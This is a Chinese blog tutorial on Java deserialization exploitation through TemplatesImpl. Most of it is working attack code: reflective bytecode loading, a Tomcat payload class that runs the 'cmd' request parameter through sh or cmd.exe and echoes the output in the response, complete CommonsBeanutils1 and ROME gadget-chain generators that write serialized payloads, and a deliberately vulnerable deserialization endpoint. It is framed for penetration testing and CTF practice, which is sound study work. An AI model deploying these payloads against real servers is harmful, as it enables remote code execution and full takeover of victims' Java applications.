利用TemplatesImpl实现自定义类

TemplatesImpl

TemplatesImpl利用链是反序列化中最常见的一个利用链,如果有去阅读过ysoserial的实现代码,会发现很多利用链最终都是使用的TemplatesImpl,CC链可以用它,CB链也用它,注入内存马还可以用它。

因为TemplatesImpl可以实现加载字节码并完成实例化,相比使用ysoserial自带的命令-c 实现Runtime.exec的命令执行方法,使用TemplatesImpl我们可以实现加载自定义的恶意类文件,完成命令执行回显,内存马,正向代理(内存形式)等攻击方式,在日常渗透过程中可以解决目标不出网的问题。
TemplatesImpl的调用链如下:

TemplatesImpl#newTransformer() ->
        TemplatesImpl#getTransletInstance() ->
            TemplatesImpl#defineTransletClasses()->
                TransletClassLoader#defineClass()->

类加载器:

在java虚拟机中要加载外部类,就需要了解ClassLoader类加载器,大概功能就是读取类的二进制字节流到JVM虚拟机中,然后转换对应的Class对象实例。
ClassLoader在java.lang.ClassLoader类中,根据java文档我们可以看出该类提供了以下几种api接口。
http://itmyhome.com/java-api/java/lang/ClassLoader.html
2023-08-21T02:41:08.png
使用defineClass来实现一次读取字节码进行加载
2023-08-21T02:41:18.png
可以看到该方法接收一个name为类名,以及写入的字节流内容,长度等。
由于该方法是protected,没法直接调用,这里使用反射的方式进行调用,需要设置setAccessible为true来开关安全检查。
JAVA代码:

Class clazz = Class.forName("java.lang.ClassLoader");
        Method defineClassMethod = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);

然后加载我们已经生成为class的类文件,并使用newInstance进行实例化。

byte[] bytes= Base64.getDecoder().decode("payload");
Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"org.example.TestEval",bytes,0,bytes.length);
targetClass.newInstance();

这里的payload是已经好的类文件,源代码如下:

package org.example;

import java.io.IOException;

public class Test {
    static {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

作用是使用Runtime.exec去打开我们mac系统中的计算器,然后编译成class文件,将内容进行base64编码然后替换payload中。
完整代码如下:

package org.example;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class Main2 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NotFoundException, IOException, CannotCompileException {
        Class clazz = Class.forName("java.lang.ClassLoader");
        Method defineClassMethod = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvVGVzdDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACgALBwAiDAAjACQBAChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAlACYBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAJwEAEG9yZy9leGFtcGxlL1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAUADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAgACQALAAwACQANAAoAFgAMAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=");
        Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"org.example.Test".getClass(),bytes,0,bytes.length);
        targetClass.newInstance();
    }
}

然后运行,加载的恶意类中的static代码块被成功执行。

2023-08-21T02:42:46.png

newInstance与new都会执行static{},{},无参构造方法,顺序依次往后。
因此要加载恶意类我们必须要将其实例化,才能使类中的代码执行。

TemplatesImpl链

要完成上面的操作,加载字节码并完成实例化,TemplatesImpl满足上面的需求,TemplatesImpl的newTransformer方法中
2023-08-21T02:43:22.png
会进入一个getTransletInstance方法,在此方法中可以看到,当_class为空时会调用defineTransletClasses方法。
2023-08-21T02:43:28.png
而defineTransletClasses方法中调用了TransletClassLoader.defineClass方法,完成了字节码的加载。
2023-08-21T02:43:36.png
而后强制转换对象类为AbstractTranslet,并调用newInstance完成实例化。
2023-08-21T02:43:44.png
因此,我们要利用TemplatesImpl,需要继承AbstractTranslet才可实现加载过程完成AbstractTranslet实例化。
TestEval.java 代码如下:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TestEval extends AbstractTranslet {
    public TestEval() throws IOException {
        super();
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

2023-08-21T02:43:59.png
TestEval继承AbstractTranslet类时,会需要两个transform方法。
完整代码如下:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws Exception {

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAWTG9yZy9leGFtcGxlL1Rlc3RFdmFsOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQANVGVzdEV2YWwuamF2YQwABwAIBwAnDAAoACkBAChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAqACsBABRvcmcvZXhhbXBsZS9UZXN0RXZhbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACgAAAA4AAwAAAA0ABAAOAA0ADwALAAAADAABAAAADgAMAA0AAAAOAAAABAABAA8AAQAQABEAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABQACwAAACAAAwAAAAEADAANAAAAAAABABIAEwABAAAAAQAUABUAAgAOAAAABAABABYAAQAQABcAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABgACwAAACoABAAAAAEADAANAAAAAAABABIAEwABAAAAAQAYABkAAgAAAAEAGgAbAAMADgAAAAQAAQAWAAEAHAAAAAIAHQ==");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "TestEvalClass");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

2023-08-21T02:44:11.png
调用newTransformer方法后可实现字节码的加载和实例化,恶意类中的static代码块被执行。
这里的base64编码有点繁琐,可以使用javassist来代替。
需要在pom.xml添加对应的依赖。

<dependencies>
    <dependency>
        <groupId>javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.12.1.GA</version>
    </dependency>
</dependencies>

随后使用ClassPool获取对应类的字节码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(org.example.TestEval.class.getName());
        byte[] code = clazz.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "TestEvalClass");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

运行后,实现效果一致。
2023-08-21T02:44:35.png

反序列化回显

在了解TemplatesImpl的使用后,继续了解如何使用TemplatesImpl实现回显,内存马等方式,需要实现请求内容的获取和返回,也就是说需要拿到request,response来操控返回内容。
获取中间价request,response对象的方式有很多种,具体可以参考https://xz.aliyun.com/t/7348等相关文章,不同中间件方式不同。
以tomcat为例子
Payload:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class TestEval extends AbstractTranslet {
    public TestEval() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        super();
        Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
        Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
        Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
        WRAP_SAME_OBJECT_FIELD.setAccessible(true);
        lastServicedRequestField.setAccessible(true);
        lastServicedResponseField.setAccessible(true);

        ThreadLocal<ServletResponse> lastServicedResponse =
                (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
        ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
        boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
        String cmd = lastServicedRequest != null
                ? lastServicedRequest.get().getParameter("cmd")
                : null;
        if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
            lastServicedRequestField.set(null, new ThreadLocal<>());
            lastServicedResponseField.set(null, new ThreadLocal<>());
            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
        } else if (cmd != null) {
            ServletResponse responseFacade = lastServicedResponse.get();
            responseFacade.getWriter();
            java.io.Writer w = responseFacade.getWriter();
            Field responseField = ResponseFacade.class.getDeclaredField("response");
            responseField.setAccessible(true);
            Response response = (Response) responseField.get(responseFacade);
            Field usingWriter = Response.class.getDeclaredField("usingWriter");
            usingWriter.setAccessible(true);
            usingWriter.set((Object) response, Boolean.FALSE);

            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            w.write(output);
            w.flush();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }


}

类写好了,如何通过反序列化加载到目标系统服务器上呢?
这里其实可以参考ysoserial的实现过程。
以CB1链为例子
2023-08-21T02:45:02.png
getObject方法,最终会调用createTemplatesImpl方法,而此方法其实就是上面所说的TemplatesImpl
2023-08-21T02:45:15.png
只需要简单的修改下即可。
完整代码如下:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;

public class Main2 {
    public static Object createTemplatesImpl() throws Exception {
        return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl( TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    public static <T> T createTemplatesImpl(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
        T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(org.example.TestEval.class.getName());
        byte[] classBytes = clazz.toBytecode();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Gadgets.Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
    public static void main(String[] args) throws Exception {
        Object templates = createTemplatesImpl();
        BeanComparator comparator = new BeanComparator("lowestSetBit");
        PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));
        Reflections.setFieldValue(comparator, "property", "outputProperties");
        Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = templates;
        queueArray[1] = templates;
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("2.ser"));
        objectOutputStream.writeObject(queue);
        objectOutputStream.close();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

tomcat测试:

 String payload=request.getParameter("payload");
    if (payload !=null){
        byte[] buff= Base64.getDecoder().decode(payload);
        ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(buff));
        try {
            objectInputStream.readObject();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }

2023-08-21T02:45:38.png
CTF实战环境:
修改ROME链,实现Spring boot回显
payload:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;

public class Main2 {
    public static Object createTemplatesImpl() throws Exception {
        return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl( TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    public static <T> T createTemplatesImpl(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
        T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(org.example.SpringEval.class.getName());
        byte[] classBytes = clazz.toBytecode();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Gadgets.Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
    public static void main(String[] args) throws Exception {
        Object templates = createTemplatesImpl();
        ObjectBean delegate = new ObjectBean(Templates.class, templates);
        ObjectBean root = new ObjectBean(ObjectBean.class, delegate);

        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("2.ser"));
        objectOutputStream.writeObject(Gadgets.makeMap(root, root));
        objectOutputStream.close();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

2023-08-21T02:45:55.png

本文链接:

https://websecuritys.cn/index.php/archives/750/
1 + 5 =
快来做第一个评论的人吧~